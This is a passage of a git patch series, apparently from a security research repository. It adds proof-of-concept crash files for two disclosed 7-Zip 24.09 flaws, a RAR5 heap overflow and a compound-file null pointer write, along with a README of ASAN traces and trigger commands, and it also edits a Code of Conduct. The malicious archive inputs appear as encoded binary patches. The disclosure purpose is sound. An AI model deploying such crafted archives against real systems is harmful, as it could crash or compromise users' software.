z#tQMc_o~I?k_8Y|$th5^=eva-(aZdimK%8hq!xxUA6% zoimLzI-|1oDrVRt1;(r~bsb9LEMI0!dYS^~RLgZSJ|C8{@@zQ?Z6OIkqcrPIPWiMo zJeS2Y70S!2{X@Pqzb_sHPA5Z>v%}(yy}_fybVgxa9GD%;%|O|C!U1IMgso*dM3qs* zga_BRB`n?dI5kK+n$S}?@ z#yrEA;yu;-gU-f~E_k>LGwHUB3Z)if;uO0&2Wh4+JEi;`*lpKu_>r3)AfR_N&#*@` zzen__{GNys{mk3pHDN}xSIBh}jRd8#oxWJtJrX@mZlZf$^adI6A4E^EvcOPT^s>c^ zV~Q~yzAp-fc?QWaF{ Date: Fri, 24 Oct 2025 19:22:53 +0000 Subject: [PATCH 15/18] 7-zip PoCs --- SecurityExploits/7-Zip/README.md | 36 ++++++++++++++++++++++ SecurityExploits/7-Zip/compound-crash.poc | Bin 0 -> 24663 bytes SecurityExploits/7-Zip/rar-crash.rar5 | Bin 0 -> 55269 bytes 3 files changed, 36 insertions(+) create mode 100644 SecurityExploits/7-Zip/README.md create mode 100644 SecurityExploits/7-Zip/compound-crash.poc create mode 100644 SecurityExploits/7-Zip/rar-crash.rar5 diff --git a/SecurityExploits/7-Zip/README.md b/SecurityExploits/7-Zip/README.md new file mode 100644 index 0000000..7456d00 --- /dev/null +++ b/SecurityExploits/7-Zip/README.md @@ -0,0 +1,36 @@ +# The directory contains proof of concept for GHSL-2025-058 (CVE-2025-53816) and GHSL-2025-059 (CVE-2025-53817) advisories. + +## GHSL-2025-058 (CVE-2025-53816) + +The `rar-crash.rar5` triggers heap buffer write overflow when 7zz 24.09 is compiled with ASAN and extracted, for example as `7zz e -so rar-crash.rar5`. On Windows the same PoC was tested to crash 7-Zip 24.09 even without ASAN. [The advisory](https://securitylab.github.com/advisories/GHSL-2025-058_7-Zip/). + +``` +==2188082==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fc75fbcc844 at pc 0x5567af835070 bp 0x7fff7f71ce30 sp 0x7fff7f71c600 +WRITE of size 9469 at 0x7fc75fbcc844 thread T0 + #0 0x5567af83506f in __asan_memset /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:67:3 + #1 0x5567b0167b0c in My_ZeroMemory(void*, unsigned long) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Compress/Rar5Decoder.cpp:63:5 + #2 0x5567b017c257 in NCompress::NRar5::CDecoder::Code(ISequentialInStream*, ISequentialOutStream*, unsigned long const*, unsigned long const*, ICompressProgressInfo*) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Compress/Rar5Decoder.cpp:1905:11 + #3 0x5567aff075c0 in NArchive::NRar5::CUnpacker::Code(NArchive::NRar5::CItem const&, NArchive::NRar5::CItem const&, unsigned long, ISequentialInStream*, ISequentialOutStream*, ICompressProgressInfo*, bool&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Archive/Rar/Rar5Handler.cpp:1165:24 + #4 0x5567aff24721 in NArchive::NRar5::CHandler::Extract(unsigned int const*, unsigned int, int, IArchiveExtractCallback*) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Archive/Rar/Rar5Handler.cpp:3293:25 + #5 0x5567b0244c0b in DecompressArchive(CCodecs*, CArchiveLink const&, unsigned long, NWildcard::CCensorNode const&, CExtractOptions const&, bool, IExtractCallbackUI*, IFolderArchiveExtractCallback*, CArchiveExtractCallback*, UString&, unsigned long&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Common/Extract.cpp:235:23 + #6 0x5567b023fe41 in Extract(CCodecs*, CObjectVector const&, CRecordVector const&, CObjectVector&, CObjectVector&, NWildcard::CCensorNode const&, CExtractOptions const&, IOpenCallbackUI*, IExtractCallbackUI*, IFolderArchiveExtractCallback*, IHashCalc*, UString&, CDecompressStat&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Common/Extract.cpp:542:5 + #7 0x5567b02f9d8a in Main2(int, char**) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Console/Main.cpp:1378:21 + #8 0x5567b0305b34 in main /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Console/MainAr.cpp:162:11 +``` + +## GHSL-2025-059 (CVE-2025-53817) + +The `compound-crash.poc` triggers null pointer write dereference when 7zz is compiled with ASAN and extracted, for example as `7zz e -so compound-crash.poc`. On Windows the same PoC was tested to crash 7-Zip 24.09 even without ASAN. [The advisory](https://securitylab.github.com/advisories/GHSL-2025-059_7-Zip/). + +``` +==2387581==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x5615317c0993 bp 0x7ffcb31a1350 sp 0x7ffcb31a1300 T0) +==2387581==The signal is caused by a WRITE memory access. +==2387581==Hint: address points to the zero page. + #0 0x5615317c0993 in CRecordVector::AddInReserved(unsigned int) ../../Archive/../../Common/MyVector.h:249:18 + #1 0x5615317bfe66 in NArchive::NCom::CHandler::GetStream(unsigned int, ISequentialInStream**) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Archive/ComHandler.cpp:866:28 + #2 0x5615317bea3d in NArchive::NCom::CHandler::Extract(unsigned int const*, unsigned int, int, IArchiveExtractCallback*) /src/7-zip/CPP/7zip/Bundles/Alone2/../../Archive/ComHandler.cpp:806:20 + #3 0x561531e94bbb in DecompressArchive(CCodecs*, CArchiveLink const&, unsigned long, NWildcard::CCensorNode const&, CExtractOptions const&, bool, IExtractCallbackUI*, IFolderArchiveExtractCallback*, CArchiveExtractCallback*, UString&, unsigned long&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Common/Extract.cpp:235:23 + #4 0x561531e8fdf1 in Extract(CCodecs*, CObjectVector const&, CRecordVector const&, CObjectVector&, CObjectVector&, NWildcard::CCensorNode const&, CExtractOptions const&, IOpenCallbackUI*, IExtractCallbackUI*, IFolderArchiveExtractCallback*, IHashCalc*, UString&, CDecompressStat&) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Common/Extract.cpp:542:5 + #5 0x561531f49d3a in Main2(int, char**) /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Console/Main.cpp:1378:21 + #6 0x561531f55ae4 in main /src/7-zip/CPP/7zip/Bundles/Alone2/../../UI/Console/MainAr.cpp:162:11 +``` \ No newline at end of file diff --git a/SecurityExploits/7-Zip/compound-crash.poc b/SecurityExploits/7-Zip/compound-crash.poc new file mode 100644 index 0000000000000000000000000000000000000000..d49fa6c5fc97270f048853b8af7f95ada677638f GIT binary patch literal 24663 zcmeI4&rcIU6vt4gw$m0wD085cor1E8R3!zK6GSAKkvf)%pZ})fa&T2!H?x zfIx>4=)s13hs~&$!&&!I8FYaF2!H?x_=&)*$j~b%RH2JBZ@{$-iFVbbpbIaR>d;C9+Yk0A}{92qine*CsI^SS1YM0 z2Pq1nns-g}zHe`H@B*cJa2 zbD1 z{{@o0LkB0veuFbGxT`2`uYZ;7vJafX#(jNTThu3Sn(y77`)K?psM9GrWXFGzWGnN( z9!f;Uqc>b$cebBwpRYZefn9%4eyK`6Y=ow_V^dmQKd8t4ZDilEEj#|pq|V?Ah7#Ei zJ<+$cM>8ARxI6=Uxb4l+g|XAOHeh5P0u}694GneSiOW>tj#HeC#`12LXq`H>ZRG z2!H?xfIw3SAiSp%-ZLTp^SZP1(hlK0yu5C1c+Un$uKADvU*HM|)F*&w zl9t?N!-zD2U1>=Of&d6~9szoKZprP_bIvy%ZSO1myfQB;8I9AhPvJ#vs*>Yva!*oa zj_ijtJy9#Iq+-855NW0If=6urpGYQoua8plDH~6yxr~}yOsbDFORLMtt87{n|z+zCPXN7SZOgh=yd#_9TfHjek+nR)MVHs+@5oBPf^_uTv5eY1V`VfOip zizhPXg8lbg@t3u`zaO8>9BUtI%N)t)&05}Uk9`~Jj-q9Ad|`BDF4{C1Gq{+aDrCAk z;@nK!Gd`J{h-c&V`Odzm_hawYli}4Xh5qT1wT;45&X^CA_Xa8!Ov!>d&_Z2S(qUgzu_O(;hk8zk!QMO=a;ko1(Rvz7APjc)zA+$P+g}AYA7auK6{fX zN7k#d8gyNWK|fH2k>o6~ei(qJC9#R@->B^0dY&{#>s*68HeIj)RBQD>(%Jw1ZXc#j zM3KFKrd41V=m$B&q)}b%E;bF-^i!zUS$D244Oi;T8XeA?bPYTuCbvNN!8rx;C2#7) zgWL~t3ofDhMzQNIN44BSYf&w(Q2N}dP<-DDc_a9tV=EZv;VJLH)46^U!fUC7mCncT?sm9^?A;Gkan`U5It-J|M ztLsTLuXx{Yw z?t$-dff`3kSBHe^MBZe~4Du|XLTOxu;ycsw5G9Xpxdrs)bWx3*1x#uoO3RbLq?RWg z)lrxtIppkv91qlj?{yYMHG0LZ(sHOTwDM-~nijocm0mHXNG$VnUS2}4*yewlH+}D5 z_^x44<4{G)(=fs3O-8TS_qYg&qj;#+iVHA|mM4KpxhE4AFh!DnO|&I*C?Vww^n#Fa zaBqjtLWlX43rx}AH!+V@xTa5BitSwOWr3=>}8K7mP`46^G@-|GuE zR55OeTfTQ=FOuioJO$!=T%g9$QXnCrI*~U~cYFE`;J~Cjy5$yv*VW($@B`y5aT;0B zQCjC&zI)QqoP`%f@S;eepTTnJ?2leC>I+Pfkkcqkkp%l~%a|gudIm3waKF>dQ8mc= zPB-6`IeNvkV&!R=v>NpNogAJYs3*B`VQrK!Dbx=*m9w4%(^5>zQO&bJR59*oDX8L* zP|ZUWMKzacJNqKhUeGo0J_Yio);%#WjIJl0Wtev()8D(JXxSWpKe{p(Z5m?+7xPnv zOjk#on~8hIwfrED?t}%*>tS9`N!#n(^5W&J1ghC*2dKNXJn1Y~*Eydh_k-L5^n+I3 zgr?Q?BzRIQy1|ojPs%NTX?6L5q8fKFplNXjgD{Nn45cA;7UuO>HwPNB7frt7O}V;t zC!{zTv?|7pz0g6m?Qu z>DJxIS-_+gqO?2-Olo=3Q5}VOJ; Date: Fri, 24 Oct 2025 21:24:17 +0200 Subject: [PATCH 16/18] Update SecurityExploits/7-Zip/README.md Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> --- SecurityExploits/7-Zip/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/SecurityExploits/7-Zip/README.md b/SecurityExploits/7-Zip/README.md index 7456d00..915716c 100644 --- a/SecurityExploits/7-Zip/README.md +++ b/SecurityExploits/7-Zip/README.md @@ -1,4 +1,4 @@ -# The directory contains proof of concept for GHSL-2025-058 (CVE-2025-53816) and GHSL-2025-059 (CVE-2025-53817) advisories. +# This directory contains proof of concept for GHSL-2025-058 (CVE-2025-53816) and GHSL-2025-059 (CVE-2025-53817) advisories. ## GHSL-2025-058 (CVE-2025-53816) From e106717ed7ae30701daf036e2ac2584ef2cc7596 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Sat, 22 Nov 2025 01:13:26 +0000 Subject: [PATCH 17/18] Update Code of Conduct --- CODE_OF_CONDUCT.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index e43e365..a70b02f 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -19,17 +19,17 @@ include: * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members +* Communicating in English to ensure broad accessibility and effective collaboration across our global community. We recognize this presents challenges for non-native speakers and encourage patience and support, while maintaining clear communication and transparency is essential for security-related discussions +* Staying focused on our global topic –securing open source software, getting help securing your project–, or the specific topic of the current Slack channel or discussion thread Examples of unacceptable behavior by participants include: -* The use of sexualized language or imagery and unwelcome sexual attention or - advances +* The use of sexualized language or imagery and unwelcome sexual attention or advances * Trolling, insulting/derogatory comments, and personal or political attacks * Public or private harassment -* Publishing others' private information, such as a physical or electronic - address, without explicit permission -* Other conduct which could reasonably be considered inappropriate in a - professional setting +* Publishing others' private information, such as a physical or electronic address, without explicit permission +* Sustained off-topic messages that detract from the community's focus on open source security +* Other conduct which could reasonably be considered inappropriate in a professional setting ## Our Responsibilities @@ -54,7 +54,7 @@ a project may be further defined and clarified by project maintainers. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be -reported by contacting the project team at opensource@github.com. All +reported by contacting the project team at securitylab@github.com. All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. From 7621feb6f58db3c27f0e2e799adb714e97396db3 Mon Sep 17 00:00:00 2001 From: Xavier RENE-CORAIL Date: Mon, 1 Dec 2025 16:23:12 -0800 Subject: [PATCH 18/18] Ashley's comment --- CODE_OF_CONDUCT.md | 1 - 1 file changed, 1 deletion(-) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index a70b02f..35683ba 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -19,7 +19,6 @@ include: * Gracefully accepting constructive criticism * Focusing on what is best for the community * Showing empathy towards other community members -* Communicating in English to ensure broad accessibility and effective collaboration across our global community. We recognize this presents challenges for non-native speakers and encourage patience and support, while maintaining clear communication and transparency is essential for security-related discussions * Staying focused on our global topic –securing open source software, getting help securing your project–, or the specific topic of the current Slack channel or discussion thread Examples of unacceptable behavior by participants include: